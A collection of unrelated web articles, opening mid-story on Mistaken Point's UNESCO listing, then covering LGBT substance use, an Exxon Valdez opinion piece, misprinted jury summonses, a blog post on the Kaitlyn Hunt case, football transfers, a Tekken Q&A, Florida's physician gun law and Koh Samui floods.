life was transitioning from microscopic to macroscopic forms.  "It's the moment when life got big," said Guy Narbonne, a paleontologist at Queen's University in Kingston, Ont., who has been leading scientific research at the site since the late 1990s.  Dr. Narbonne said he was thrilled that Mistaken Point has become Canada's 18th UNESCO World Heritage Site, and the fifth in the country to be inscribed primarily based on the value of its geological record.  "It's a testament to how rich the fossil heritage of Canada is," he said.  Story continues below advertisement  Story continues below advertisement  The decision, which took all of seven minutes, came during a brisk one-day session organized after the committee's planned 10 days of meetings in Istanbul were cut short by an attempt to overthrow Turkey's government on Friday night.  A decision on another Canadian site, a vast tract of Manitoba-Ontario wilderness called Pimachiowin Aki, was referred by the committee to a later date to allow its proponents to resolve issues that caused a First Nations group to pull out of the bid last month.  "We were certainly disappointed but we felt we really didn't have any option but to seek a referral," said Gord Jones, project manager with the not-for-profit Pimachiowin Aki Corporation, originally created by the two provinces together with five First Nations groups to advance the bid.  Pimachiowin Aki, a name that means "land that gives life" in Ojibwe, is a 33,400-square-kilometre swath of boreal forest east of Lake Winnipeg that includes provincial parks and other protected areas within traditional First Nations territories.  It was to be considered under the mixed cultural and natural category, and was recently recommended for World Heritage Site status by advisory groups to the committee in advance of the Istanbul meeting. But last month the Pikangikum First Nation, one of the corporation's members, withdrew support over issues with some of the language in the advisory group reports.  The referral means that the corporation now has up to three years to re-submit its bid to the committee. A decision on Pimachiowin Aki was previously deferred by the committee in 2013 to allow those behind the bid to strengthen their case for the area's value as a place where First Nations communities have retained traditional knowledge and languages in an ecologically important landscape that is also home to a number of species at risk.  Story continues below advertisement  Mr. Jones added that the international attention that comes with a World Heritage designation would offer people in the region an opportunity to boost to their economy in a sustainable way.  In Newfoundland, the economic benefits of hosting a World Heritage Site are also an incentive for Portugal Cove South, a town that struggled mightily after the collapse of the northern cod fishery in 1992 and where the interpretive centre and walking tours of the fossils at Mistaken Point attract thousands of visitors every summer.  The point gets its name from early mariners who sometimes mistook its thrusting peninsula for that of Cape Race, a feature located several kilometres to the east. It was an error that could prove fatal.  Local people long knew about the "flowers" that are imprinted in the jagged rocks of the point but the site's scientific value was not recognized until a Memorial University graduate student, Shiva Misra, happened upon it in 1967.  By 2006 it was widely recognized that Mistaken Point is one of a handful of sites worldwide that reveal what was happening during the Ediacaran, when Earth's oceans were alive with strange creatures that lived before there were fish, mollusks, crustaceans and other types of species that would later come to dominate marine environments.  In some cases, scientists still have trouble understanding how the life forms of that period relate to us today.  Story continues below advertisement  "They are mysterious," said Andrew Knoll, a geobiologist at Harvard University and an expert in the history of early animal life.  NASA even funded astrobiologists to go the site to get a better sense of what kind of life might exist on alien planets.  Dr. Knoll said the site is of crucial importance because it records the interval of time where Earth was undergoing a pivotal shift "from three billion years of microbial life to the more familiar world that we know today."  He added that the World Heritage designation should help ensure the site's continued preservation and facilitate support for ongoing research there.
-Download this issue brief (pdf)  Read this issue brief on your browser (Scribd)  In the movement for gay and transgender equality, issues like marriage and workplace discrimination dominate media headlines as well as the time and attention of most advocates. The focus on these headline issues has been successful on some fronts in recent years, with the repeal of “Don’t Ask, Don’t Tell” and passage of the Matthew Shepard and James Byrd, Jr. Hate Crimes Prevention Act, a hate crimes law that is inclusive of gay and transgender people. Other issues that impact the overall equality and wellbeing of gay and transgender people, however, don’t always garner as much attention.  Gay and transgender health is one of these issues. This issue brief examines the disproportionately high rates of substance use by gay and transgender people, which is a significant impediment to the health of this group. Although data on the rates of substance abuse in gay and transgender populations are sparse, it is estimated that between 20 percent to 30 percent of gay and transgender people abuse substances, compared to about 9 percent of the general population.  The stress that comes from daily battles with discrimination and stigma is a principle driver of these higher rates of substance use, as gay and transgender people turn to tobacco, alcohol, and other substances as a way to cope with these challenges. And a lack of culturally competent health care services also fuels high substance-use rates among gay and transgender people.  In order to lower these rates, our health care system needs to better meet the needs of gay and transgender people, and our government needs to advance public policies that promote equality for this population.  This issue brief explains why we see higher rates of substance use in the gay and transgender population, provides a brief overview of these rates, and makes recommendations that can help end antigay and antitransgender discrimination and reduce substance use rates.  Rates of substance use and abuse in the gay and transgender population  In this section we provide some topline numbers on substance abuse rates in the gay and transgender population. Note that there is little national data on gay and transgender people overall, so the statistics here are best estimates of these rates.  Tobacco  Gay and transgender people smoke tobacco up to 200 percent more than their heterosexual and nontransgender peers.  Alcohol  Twenty-five percent of gay and transgender people abuse alcohol, compared to 5 to 10 percent of the general population.  Drugs  Men who have sex with men are 3.5 times more likely to use marijuana than men who do not have sex with men.  These men also are 12.2 times more likely to use amphetamines than men who do not have sex with men.  They are also 9.5 times more likely to use heroin than men who do not have sex with men.  Factors leading to these rates of substance use and abuse  Gay and transgender people report higher rates of substance use than others due to three main factors.  First, many gay and transgender people live with a high level of stress that comes from social prejudice and discriminatory laws in areas of daily life such as employment, relationship recognition, and health care.  Second, a lack of cultural competency in the health care system discourages gay and transgender people from seeking treatment for substance abuse, and—if they do seek help—often leads to inappropriate or irrelevant services.  Finally, targeted marketing efforts by alcohol and tobacco companies exploit the con- nection many gay and transgender people have to bars and clubs as safe spaces for socializing and increase easy access to tobacco products and alcohol. Below, we look at each of these factors in turn.  Minority stress  Minority stress—the negative effects associated with the adverse social conditions experienced by individuals of a marginalized social group—is something gay and transgender people have to deal with every day. This stress is triggered by general social prejudice against being gay or transgender, as well as discriminatory laws and policies.  Antigay and antitransgender social prejudice stems from the belief that being gay or transgender is somehow wrong or bad. It can be expressed in subtle ways (for example, a receptionist at a pediatrician’s office asking a lesbian couple which of the pair is their child’s “real” parent), or it can be expressed in verbal and physical violence (two men holding hands getting taunted with antigay epithets or a transgender person getting jumped by a group of strangers).  Karen and Marcye Nicholson-McFadden of New Jersey understand this prejudice all too well. They are the parents of two children and have a civil union because same-sex marriage is not legal in their state. Whenever they visit the doctor or go to their children’s school, they are treated differently because they have to deal with people who don’t know what a civil union is, and they have to explain their family to the staff. Karen and Marcye regularly cross out items on government, school, and doctors’ forms to reflect their family structure. For example, a family headed by two moms often has to cross out “name of father” on forms.  Or take the 2010 case of a 14-year-old student at Nassau BOCES Career Preparatory High School in Hicksville, New York, was assaulted by four of his classmates who perceived him to be gay. The student was stomped and kicked by his classmates as they spewed antigay epithets at him on his bus ride home from school. The very next day the student was once again the subject of abuse as two of his classmates from the day before made antigay remarks toward him and slapped him across the face and head. His classmates were later arrested and charged with assault and harassment for their actions.  This kind of prejudice can force some gay and transgender people to avoid social settings or neighborhoods that might put them in harm’s way. The end result is higher levels of anxiety and fear of being attacked when doing something as simple as walking down the street. And this can lead them to use substances to ease this anxiety.  Discriminatory laws and practices are another source of minority stress that negatively impacts the gay and transgender population and can lead to drug and alcohol use. In particular, discrimination in employment, housing, relationship recognition, and health care are major areas of concern.  Discrimination in employment  It is currently legal in 29 states for gay and transgender individuals to be denied employment, fired, or discriminated against just because of their sexual orientation or gender identity. A recent article by the Center for American Progress reported that 43 percent of gay and 90 percent of transgender people have experienced discrimination and harassment on the job.  Workplace discrimination poses a real and immediate threat to the economic security of gay and transgender workers by leading to job instability, which affects a person’s ability to earn a steady income and have access to employer-provided health insurance. These issues not only impact the person who has been discriminated against but also threaten the well-being of other people (a partner, spouse, or children) who are financially dependent on that person.  Discrimination in housing  Having access to safe and stable housing is key to well-being. Fifty-six percent of gay individuals and 70 percent of transgender individuals, however, report experiencing some form of discrimination in housing based on their sexual orientation or gender identity. Being denied stable and affordable housing makes it much more difficult to maintain employment, access health care, and maintain a safe and stable family structure.  Discrimination in relationship recognition  The debate over marriage for gay couples has been a nationwide news story for nearly two decades now, with frequent and prominent stories in the press that elevate and perpetuate antigay stereotypes and sentiments. Hearing these attacks on a regular basis increases antigay social prejudice and its negative impact on gay people.  Further, only eight states and the District of Columbia allow marriage for gay couples, which means that most families headed by same-sex couples are currently barred from accessing the many public policies and programs that are designed to bolster a family’s economic security (child care tax credits, Social Security survivor benefits, employer-sponsored health insurance in many cases, and the ability to sponsor a partner for citizenship).  Discrimination in health care  A lack of access to affordable and culturally competent health care also contributes to gay and transgender minority stress. Gay and lesbian adults are roughly twice as likely as the general population to be without health insurance coverage, and rates of uninsurance are even higher for transgender and bisexual individuals.  Because our nation lacks a public health insurance system and individual coverage is currently prohibitively expensive, most insured people access coverage through their employers or their spouse’s employer. Unfortunately, widespread workplace discrimination prevents many gay and transgender people from having consistent access to health insurance through their employers. Furthermore, many workplaces do not provide health insurance benefits to same-sex domestic partners. When they do, the cost is higher for these couples, since they have to pay taxes on the insurance benefit, a cost that different-sex married couples do not incur.  Moreover, most private and public plans including Medicare, many state Medicaid programs, and plans sold through the Federal Employees Health Benefits Program specifically target transgender people with exclusions that deny coverage for transition-related care. Such exclusions are frequently expanded in practice to deny even basic health care services to transgender people.  Finally, as we discuss in more detail below, many health care providers are not trained to serve gay or transgender patients, which negatively impacts quality of care. These and other forms of discrimination work together to make life for gay and transgender people more expensive, complicated, and difficult. The end result is additional emotional stress and pressure for many people who are gay or transgender.  Cultural competency  Gay and transgender individuals may be hesitant to utilize health care services that can help them overcome substance abuse because they are aware of the likelihood of meeting health care professionals who are unaware of their specific needs or are outright hostile toward them. As a result, gay and transgender individuals may delay substance-abuse treatment or choose not to disclose their sexual or gender minority status, which not only hinders recovery but also undermines their overall health.  Many tobacco-cessation programs are not welcoming of gay and transgender people, for example. A number of these programs do not provide any outward indications that they are inclusive of gay and transgender people and their unique needs, thereby isolating some gay and transgender people who are already apprehensive because of previous experiences they have had accessing care. Given that many gay and transgender people smoke because of stress factors related to their sexual orientation or gender identity, they might not feel comfortable enrolling in these programs or, if they do enroll, the programs might not address the root causes of their addiction.  Socialization and marketing  Bars, clubs, and restaurants have traditionally been places where gay and transgender people can socialize and feel safe. In many of these venues, smoking and drinking remain popular. As a result, higher rates of smoking, drinking, and sometimes drug use occur in these environments.  Tobacco and alcohol companies have exploited gay and transgender social networks to aggressively market their products for decades. In the early 1990s tobacco companies surveyed gay men for branding choices, which resulted in a new program called Subculture Urban Marketing, or SCUM, which targeted minority gay men in San Francisco.  According to a fact sheet by the American Cancer Society, tobacco companies also appeal to the gay and transgender population through direct advertising in national gay and transgender magazines; indirect mainstream magazines with a high number of gay and transgender readers, at times with same-sex undertones; and sponsorships of events or organizations that support gay and transgender issues.  The fact sheet also states, “The [tobacco] industry focuses advertising and sponsorships on themes important to the [gay and transgender] community: liberation, individual- ism, social success, and acceptance.” Such targeted marketing campaigns exacerbate the higher rates of substance use in the gay and transgender population.  How to help  Below we discuss administrative and legislative recommendations whose implementation will help reduce the high rate of substance abuse within the gay and transgender population while helping advance overall gay and transgender equality.  Recommendations for the Department of Health and Human Services  As the Center for American Progress outlined last year, the Department of Health and Human Services, or HHS, can take a number of steps to reduce the rate of substance abuse within the gay and transgender population:  HHS’s agencywide priorities should include strong support for the efforts of the Substance Abuse and Mental Health Services Administration, or SAMHSA, to specifically address gay and transgender substance-use disparities through SAMHSA’s strategic plan, block-grant programs, cultural-competency initiatives, and other activities.  HHS should promote routine and ongoing cultural-competency training for medical and nursing students and other health professions students across the programs administered or supported by its operating divisions.  HHS should explicitly include gay and transgender cultural competence in the National Standards on Culturally and Linguistically Appropriate Services, or CLAS. The CLAS Standards, which are developed by the Office of Minority Health, offer health care organizations and individual providers guidance on making their services more culturally and linguistically accessible to patients from diverse backgrounds.  HHS should require any hospital, rehabilitation center, nursing home, or other facility receiving federal dollars to implement a comprehensive and high-quality gay and transgender cultural-competency training program for providers and other staff.  HHS should specifically recruit gay and transgender students and professionals for training initiatives focused on expanding and diversifying the health care workforce, including the National Health Service Corps, the U.S. Public Health Service, and pipeline programs administered by the Bureau of Health Professions.  HHS should adopt a boilerplate nondiscrimination policy for its programs and grants that prohibits them from discriminating against participants or prospective participants on the basis of sexual orientation or gender identity. Such a policy is part of the rule recently adopted by the Department of Housing and Urban Development.  Legislative recommendations  The following four pieces of federal legislation, if enacted, would substantially help address and eliminate the prejudice and discrimination that drive substance use disparities among the gay and transgender population:  Employment Non-Discrimination Act: The act would create federal protections against sexual orientation and gender identity discrimination at all federal, state, and local government agencies; employment agencies; unions; and private employers with 15 or more employees.  The act would create federal protections against sexual orientation and gender identity discrimination at all federal, state, and local government agencies; employment agencies; unions; and private employers with 15 or more employees. Housing Opportunities Made Equal Act: The act amends the Fair Housing Act to prohibit discrimination on the basis of actual or perceived sexual orientation and gender identity in housing sales and rentals, residential real-estate-related transactions, and brokerage services.  The act amends the Fair Housing Act to prohibit discrimination on the basis of actual or perceived sexual orientation and gender identity in housing sales and rentals, residential real-estate-related transactions, and brokerage services. The Respect for Marriage Act: The act would repeal the Defense of Marriage Act and allow the federal government to recognize legally married same-sex couples. This would allow same-sex couples to take advantage of more than 1,100 federal benefits and protections that are currently denied to them.  The act would repeal the Defense of Marriage Act and allow the federal government to recognize legally married same-sex couples. This would allow same-sex couples to take advantage of more than 1,100 federal benefits and protections that are currently denied to them. The Health Equity and Accountability Act: The act addresses a wide range of health disparities that affect the gay and transgender population, including disparities in health status, access to health care, and protection from discrimination in the health system. It also calls for greater data collection on sexual orientation and gender identity through federally supported health surveys and programs.  Conclusion  Reducing rates of substance use in the gay and transgender population will require both a short- and long-term strategy. In the short term substance-abuse treatment programs and services need to become fully culturally competent and able to effectively and appropriately serve gay and transgender people. Over the long term laws that discriminate against gay and transgender people, as well as persistent antigay and antitransgender prejudice, need to be addressed head-on and dismantled.  Ending the problem of disproportionately high rates of substance use in the gay and transgender population will take considerable time and effort. But working to end this problem—and promoting overall health for gay and transgender people and their families—will make hard-fought legal victories for equality more meaningful and sustainable. Addressing this problem is not easy, but it is a necessary step in the movement toward full gay and transgender equality.  Jerome Hunt is a Research Associate for LGBT Progress at American Progress.  Download this issue brief (pdf)  Read this issue brief on your browser (Scribd)
-Environmentalists have pinned every one of Earth’s calamities on the presence of climate change, from terrorism to prostitution to drug addiction. Running out of chilling subject matter, activists are now retroactively blaming famous disasters on global warming in a crusade to punish “dissenters.”  A few years back, the Energy and Environment Reporting Project at Columbia University’s Graduate School of Journalism wrote a series of pieces in the Los Angeles Times claiming that oil giant Exxon had engaged in a decades-long conspiracy to conceal the link between fossil fuels and climate change.  The entire series was thin gruel, but read it for yourself. You may immediately recognize reporters who are working backwards from preconceived notions. Broadly speaking, the series is predicated on the idea that corporations have a responsibility to embrace the most far-fetched and apocalyptic conclusions about global warming — notoriously unpredictable even for those who buy worst-case scenarios — and then peddle those predictions as fact.  The series was an excuse for a number of attorneys general — most notably, anti-free-speech advocate Eric Schneiderman of New York — to retroactively punish with investigations companies that failed to adopt liberal political positions on global warming. It was also meant as a warning for the future. What’s most ludicrous about these efforts is that they rely on a mythology: if only Americans had been aware of this crazy phenomena called “global warming,” they would have immediately abandoned all the comforts of modern life.  In any event, the tactic has not worked, for many reasons, including impediments like the pesky First Amendment. So the Energy and Environment Reporting Project at Columbia University’s Graduate School of Journalism and the Los Angeles Times rolled up their sleeves and created another piece of activism to buttress the cause.  Most of us remember the 1989 Exxon-Valdez oil spill, which was one of the costliest oil-spill disasters in history. The massive environmental destruction it inflicted on Alaska cost Exxon a total of $3.5 billion in cleanup and court costs it’s still paying off. It remains the second largest U.S. oil spill after Deepwater Horizon.  Well, The Los Angeles Times now claims the Valdez struck Bligh Reef because the Columbia Glacier had been shedding icebergs. So, in short, the Valdez crashed into a reef (not the ice) in Prince William’s Bay because Exxon had failed to warn people in 1989 about the dangers of global warming. This is so preposterous, the piece will probably win a Pulitzer.  First off, using this calculus, anyone can blame basically anything that happens to them on climate change. Did you avoid a puddle when you hit that telephone pole? Sue Exxon!  Somehow, since 1989, thousands of tankers have been able to ship oil from Alaska to California without hitting the reef, even though the bay is still “riddled with icebergs” that were allegedly caused by Exxon failing to take responsibility for global warming in 1980s.  You can read about the Valdez disaster all day long — the lawsuits and the stories and the investigations — and nowhere, as far as I can tell, will you ever run across the claim that the Valdez disaster had anything to do with Exxon denying climate change.  The Alaska Oil Spill Commission mentioned nothing about the icebergs in the bay being out of the ordinary. In its final report, the commission says “small icebergs from nearby Columbia Glacier occasionally enter the traffic lanes.” Nor did the government report blame ice. According to the National Transportation Board investigation, the crew was overworked and the radar system was not working correctly.  Who knows? Maybe the slight increase in temperature that day enticed the captain of Valdez to go binge drinking? Sue Exxon!  None of this is journalism — not even opinion journalism. It’s activism. It’s a concerted effort to rewrite history and create a new Big Tobacco.  Step one: Activists at the Rockefeller Family Fund help underwrite a partnership between the Energy and Environmental Reporting Project and the Los Angeles Times. According to The Wall Street Journal, part of the foundation’s broader agenda is “to establish in public’s mind that Exxon is a corrupt institution that has pushed humanity (and all creation) toward climate chaos and grave harm.”  Step two: Working from this starting point, The Los Angeles Times delivers the goods. (Now, that’s not to say that a story can’t have merit because a journalist is funded by a think tank or activist group. It’s to say that writing a story claiming the Exxon-Valdez oil spill was caused by global warming is a transparent way to create ammunition for a political crusade.)  Step three: The corrupt New York state AG coordinates with the Rockefeller Family Fund and uses the stories they funded to launch his politically motivated thought-police investigations.  Oil corporations should, of course, be held responsible for the messes they create. I don’t believe any reasonable person would disagree. But until humans stop running things, there will always be calamities and accidents. So we can debate the importance of fighting climate change. You can continue to mock “deniers.” But you can’t rewrite history to suit your contemporary political needs.
-© Myung J. Chun/Los Angeles Times via Getty Images A 1950's telephone  PASCAGOULA, Miss. — Hundreds of southeastern Mississippi citizens received jury summons that incorrectly instructed them to call a sex hotline.  Multiple news outlets report that at least 350 jury summons with the incorrect phone number were sent out in Jackson County to potential jurors.  Circuit Clerk Randy Carney says people started calling the circuit clerk's office Monday morning to report the problem. Others stopped by in person to address the issue.  Carney says he doesn't know what caused the mix-up. He has drafted an apology letter that will go out those who received the erroneous summons. He says he doesn't know if his office will be liable for costs associated with any potential jurors billed for using the hotline.  Carney added that he'll personally review summons before they're mailed out from now on.
-By now everyone knows that eighteen-year-old Kaitlyn Hunt is looking down the barrel of a lengthy jail sentence for getting all Sapphic with a girl a couple of years younger than herself.  This situation is disgusting for at least three reasons (given time, I’m sure I could find a lot more). The first is that the state thinks it is its business to tell kids that they can’t have it off with other kids. Sure, it has the legal right to do so, but as anyone with any brains knows, legal and moral aren’t the same thing and unless one party is 14 and the other is 30 the state should keep its grubby mitts out of people’s bedrooms – the stat rape laws should be there to protect kids from adults, not from one another.  The second reason this is disgusting is that if Kaitlyn were a boy she would at this very moment be in a jail cell serving a lengthy sentence and being the victim of not-so-statutory rape. The only reason there is such a shit storm over this case is that she is a female and, to a lesser extent, because she is gay and this latter fact has gotten the liberal media pissed off — it’s a confluence of good, old fashioned female privilege and a new fangled dislike for homophobia. Please, will someone give me an example of an 18 year old boy who has had sex with a girl only a couple of years younger and then been given the support of a massive online petition and gotten the opportunity to go on TV and complain about the case? Come on, just one. Hell, now that I think about it, one isn’t enough! Since hetero males greatly outnumber gay females you would have to come up with a lot more than one just to show equal treatment. Think about it, the great majority of 18 year olds charged with statutory rape are male, yet it is a member of the female minority that gets this big a fuss made over her – it’s analogous to the great majority of those charged with crack offenses in a mostly black city like Detroit being black, yet the furor erupting only in one of the few cases in which it’s a white guy caught with a crack pipe up his ass! Fact is, as badly as Hunt is being treated, things would be far darker were she not female and gay – she certainly wouldn’t have the Florida ACLU referring (albeit correctly) to her behavior as “both fairly innocuous and extremely common.” “Predatory, misogynist and an extremely common part of rape culture,” would be a more likely response from those bastards.  The third reason this pisses me off is the significant number of dumbass MRAs who think that the way to help males in Hunt’s situation is to let the state crucify their female equivalent! No, my boof-headed friends, the way to help such boys is to let Kaitlyn off the hook then agitate like mad for males to get the same leniency. Logically speaking, what some MRAs are asking for is the equivalent of trying to solve the education gap by throwing women out of college instead of bringing more men into it! And that isn’t helping anyone except, of course, those who wish to make the MRM look like it is composed primarily of men whose brains are up their asses.  Summary of the situation, including the young fool’s rejection of a plea deal, here.  I was going to link to a petition to get these absurd charges dropped, but someone has hacked the page, supposedly to make a point about security. Hacked page here.
-Wolfsburg's sporting executive Klaus Allofs says Kevin De Bruyne will stay at the club beyond the summer of 2015 amid new rumours over a Premier League return for the Belgium international.  De Bruyne, 23, signed for Wolfsburg last January on a five-year contract as he sought first-team football prior to the 2014 World Cup after failing to break into Chelsea's starting XI.  Following a settling-in period at the Volkswagen Arena, De Bruyne excelled after a full preseason with the Bundesliga club, scoring 14 and setting up a further 24 goals in 37 matches for his club.  De Bruyne has played a large part in the club's recent success, with Die Wolfe still in the German Cup and the Europa League and close to a Champions League return for the first time since 2009 as they sit second in the league.  The attacking midfielder's form has seen him linked with a move away from Wolfsburg, with his name mentioned as a potential successor to Bayern Munich's ageing wingers Arjen Robben and Franck Ribery.  Speculation has also been building over a return to Premier League with Manchester City reportedly interested in the Belgium international, but Wolfsburg -- partly due to the financial backing from Volkswagen -- have no need to sell their star player this summer.  De Bruyne scored once and had a hand in two more goals as Wolfsburg beat Freiburg 3-0 on Sunday.  "We want to play Champions League with VfL and establish ourselves among the best clubs in Germany, and we want to achieve that with the best players," Klaus Allofs told dpa. "We are currently building a squad, and don't think about who could leave us right now.  "His agent might have been approached, and that would only be normal. But it has no meaning, because both Kevin and his agent have said that VfL is the right club for him."  Allofs added that De Bruyne will stay beyond the summer of 2015, but admitted: "I don't know what will happen after that."  On Wednesday, Belgian news outlet HLN claimed that Paris Saint-Germain and Manchester City have reiterated their interest in De Bruyne, who could cost as much as €60 million.  Elsewhere, De Bruyne teammate Andre Schurrle has admitted that he is struggling for fitness following his €32 million transfer from Chelsea during the winter transfer window.  Schurrle is struggling for form and fitness since a big-money move from Stamford Bridge on transfer deadline day.  The Germany international has yet to find the back of the net for his new club and has seen his playing time reduced over the last few weeks, telling Sport Bild: "It'll be difficult this season, but I will pull through, I am not at 100 percent.  "My rhythm is missing. I realise that I did not have any preparation. I only had two weeks in the summer following the World Cup, and prior to my move in January I was unable to train for nearly fortnight with back problems."  The forward admitted that he is currently not fit to play a match every three days, and put it down to a different training style under Jose Mourinho.  "In England you win your fitness during the games," he added. "At Chelsea we played every three days. When you are in the team, you just do a bit of exercise in between. And if you don't play you also don't do a lot."
-I'll say "Google it". That's all. RT @LeopoldTheBrave Someone made this and it's making people angry. pic.twitter.com/yVXUAPXYea — Katsuhiro Harada (@Harada_TEKKEN) March 2, 2015  hayaki14: Hearing you say that (go Google the answer) has allowed me to hold out a little more hope, Harada-san.  Harada: Well, it looks like you've already decided on your own interpretation of what I said, but regardless of whether or not Jin is dead or alive, Tekken 7 is a proper sequel in every way. And as you can see, (in Tekken 7) even with Azazel sealed away, the Devil Gene still exists, right?  hayaki14: Wait, but wasn't it because of Azazel that the Devil Blood got sealed?  Harada: Even if it is sealed, in the current version of the game you can clearly see that Kazuya still has it stored within his body. And in fact, he has gotten the Devil ability under his control, ready to activate it at any time. Thanks to Azazel getting sealed, all sorts of great calamities have been prevented, but even so the Devil ability within Kazuya did not go away.  MUSOUsGAME: So we can take that to mean that Jin is still alive, right?  Harada: I've already explained earlier that none of this discussion (Azazel and the Devil Gene) has anything to do with whether or not Jin is dead or alive. I don't understand how you could interpret what I said to mean that. It's not a matter of what is being said here, but rather how you're choosing to comprehend it. I didn't actually talk about whether or not Jin is dead or alive.  MUSOUsGAME: So at the very least we should be able to take it as Jin Kazama is alive even in the current timeline, right?  Harada: Are my words even getting through to you?  MUSOUsGAME: Can we believe it to be so? We can, right?  Harada: Like I said, are my words getting through?  MUSOUsGAME: Yes, they're getting through to me just fine. But even so, even in the past I've been quite anxious about whether or not Jin Kazama would make it into Tekken 7 for a while now. So can we please get a proper answer to that?  Harada: Are there any developers out there who would spill the beans on everything that's been asked to them? Okay, why don't you give it a shot: go over to Ono and try asking him when Street Fighter 5 is coming out. Because I'm worried for them.  ...As I was tweeting that I suddenly thought of something I'd like to ask. Maybe if it's Ono he might actually be able to answer. Alright then, I shall give Ono a call later, and persistently ask him about when Deep Down's release date is.
-A group of Florida doctors filed a federal lawsuit Monday, pushing back on legislation preventing them from freely discussing gun ownership with their patients.  As TPM reported in May, a Florida bill would limit doctors’ ability to ask their patients if they own guns. The law would allow doctors to ask patients about guns if they feel it’s relevant to the patient’s safety. Florida Gov. Rick Scott (R) signed the bill into law last week.The National Rifle Association, whose lobbyists helped write the bill, says doctors asking patients about firearms in the home infringes on Second Amendment rights. Conversely, the doctors’ lawsuit centers on the bill’s restrictions on doctors’ ability to speak freely with patients:  This action seeks to protect the rights that Florida healthcare practitioners have under the First Amendment of the U.S. Constitution to engage in open and free exchanges of information and advice with their patients about ways to reduce the safety risks posed by firearms. This action also seeks to protect the First Amendment rights of patients throughout Florida to receive such information and advice from their physicians. The Florida law challenged in this action (hereinafter, the “Physician Gag Law”) chills this speech and would punish health care professionals simply for asking questions of, and providing information to, their patients about firearm safety. By severely restricting such speech and the ability of physicians to practice such preventative medicine, the Florida statute could result in grievous harm to children, adolescents, adults, and the elderly. The First Amendment does not permit such a gross and content-based intrusion on speech and, accordingly, the Court should declare the Physician Gag Law unconstitutional and enjoin its enforcement.  Lane Wright, press secretary for Gov. Scott, defends the law, saying some people “misunderstand” what it does.  “HB 155 prohibits a licensed health care practitioner or licensed health care facility from intentionally entering any disclosed information concerning firearm ownership into a patient’s health record or inquiring about firearms or ammunition ownership if the information is not relevant to the patient’s medical care or safety, or the safety of others,” Wright told TPM in an email. “I think that last part is what some people miss.”  “The law ensures respect for a patient’s right to own or possess a firearm and protects them from potential discrimination and harassment in cases where it is not relevant to the patient’s medical care or safety, or the safety of anyone else in the home,” he added.  Read the full complaint below:  Lawsuit defending doctors’ right to ask patients about firearms
-Image copyright AP Image caption Tourists use inflatable rings to cross a road on the Thai island of Koh Samui  Mr Supit bows low, palms together, fingers pointing to the wrathful heavens above.  The north-east monsoon should have left the Thai island of Koh Samui more than a month ago, but the start of 2017 there has been greeted by a week of unremitting tropical storms.  Supposedly the high season, Mr Supit's hotel is dripping with umbrellas and soaking towels. The rains have prevented many staff from getting to work, made his international guests miserable and washed away his organic garden.  He breaks his wai - the traditional palms together gesture of greeting - throwing his arms apart with a shrug and a shake of his head. "What more can I do?" he asks.  "We are going to cross the sea in front of us," he jokes as he attempts to drive down Main Street, floodwater sloshing up to the gunwales of his Ford.  "This is very strange weather. We had similar storms five years ago, but that was in March. I have never known a new year like this. We are thinking this must be the result of climate change."  Image caption Supit Choo-in: "We must focus on green again."  Like the scooters abandoned beside the flooded roads, many of the resorts dotted around Samui's coast have spluttered to a stop. A few plucky guests have filmed themselves laughing on lilos bobbing down the street, beers in hand, but Thai tourism is an industry that floats on sunshine and there has been virtually none of that for a week.  The local TV news is reporting that hundreds of families on the holiday island have been left homeless, bridges are down and many roads are impassable beneath brown, malodorous floodwater. Elsewhere in the province, the unexpected deluge has killed at least 18 people.  A mile from his hotel, Mr Supit stops his car to look at a rockfall that has crashed across the ring road, red boulders brought down by the heavy rains. "We need to be focusing on green again," he murmurs.  Mr Supit recalls the environmental initiative launched with much fanfare by hoteliers and tour companies on Koh Samui in the late 90s after a landmark speech from the late king.  Thailand is still in mourning for King Bhumibol Adulyadej, who died last October after 70 years on the throne. Black and white shrines to his memory are everywhere, reverence for the monarch akin to worship of a deity, his utterances regarded almost as sacred texts.  In 1997, after massive currency speculation led to the total collapse of the Thai economy, mass unemployment and food shortages, King Bhumibol addressed the nation. He appealed for what he called a "sufficiency economy", a philosophy of moderation, balance and caution that, he argued, would help Thailand cope with the socio-economic, cultural and environmental challenges of globalisation.  Some translated the speech as a decree to introduce a sustainable tourism policy - a change long overdue in a country that had witnessed almost unconstrained development for decades. Deforestation, the destruction of natural habitats and a brazen prostitution industry were among the ugly faces of the tourism goldrush.  Officials cautioned that without the kind of restraint implicit in the king's crisis speech, many of the unspoiled natural environments that attracted travellers would be destroyed. Thailand's famous white beaches would be lost to the sea, one minister warned. Vibrant marine habitats and dense tropical jungles would be obliterated.  A number of private hoteliers joined the Green Leaf Foundation, committing them to make their resorts carbon neutral. There are eco-friendly tour companies offering trips to the beautiful Angthong National Marine Park. On Koh Samui, a government-backed initiative called Seven Greens was introduced, promoting sustainable practices and philosophy.  Recently, the Ministry of Tourism has urged holiday businesses to focus on attracting "quality" visitors - sophisticated and environmentally aware travellers who will value Thailand's natural and cultural treasures. The days of low-cost mass tourism are supposed to be numbered.  Image copyright Getty Images Image caption Unseasonal downpours in southern Thailand have turned many streets into canals  But political rhetoric has not always matched reality. The tourist strips are still overflowing with sex bars, cheap beer and greasy burgers. Among Koh Samui's top attractions are monkey shows that animal welfare groups blame for wiping out half of Thailand's white-handed gibbon population.  This is not a country that finds it easy to embrace the sacrifices of a green revolution: government figures suggest the average Thai uses an astonishing eight plastic bags a day. In the last two decades around 60 environmental activists have been killed in Thailand while campaigning against powerful logging companies and industrial polluters. Some question just how serious the military-backed government is in pursuing green policies.  In his flooded organic garden, Mr Supit reflects on the 40 years since he landed his first tourist job as a pot washer in a Bangkok kitchen.  "In the early days, people spent more money than now," he tells me as we assess the damage wreaked by the unwelcome storms.  In 1960, only 81,000 tourists visited Thailand, mostly high-rollers and adventurers from Europe and the Far East, people prepared to pay for something exotic. "Today many more come, but they don't spend - particularly the Chinese," Mr Supit laments.  Image caption Not much is left of Mr Supit's organic garden  A record 33 million tourists visited Thailand in 2016, more than eight million of them from China, pushing revenues up 18% in a single year. But Mr Supit is not alone in worrying that the country is overstretching itself.  "I am very much concerned," he confides. "We have to lift up the quality and we must focus on green again. At the moment I don't think my guests are prepared to pay more for that."  His two-acre organic garden is an act of defiance: beds of traditional Thai basil and morning glory, lemongrass and lime trees are fed with homemade fertiliser, brewed on the plot from pineapple, molasses and water. When available, the Fairhouse Villa hotel chef makes full use of the fresh fruit, vegetables and spices. Sadly, his kitchen will not benefit for a while, with many of the garden's tender plants washed into the sea by the unseasonal storms.  "It is tough work," Mr Supit says, surveying the damage. "But we will keep planting. We will get there."  He smiles and looks ruefully at the darkening sky.  With the rains still falling, Thailand needs more people like Mr Supit.
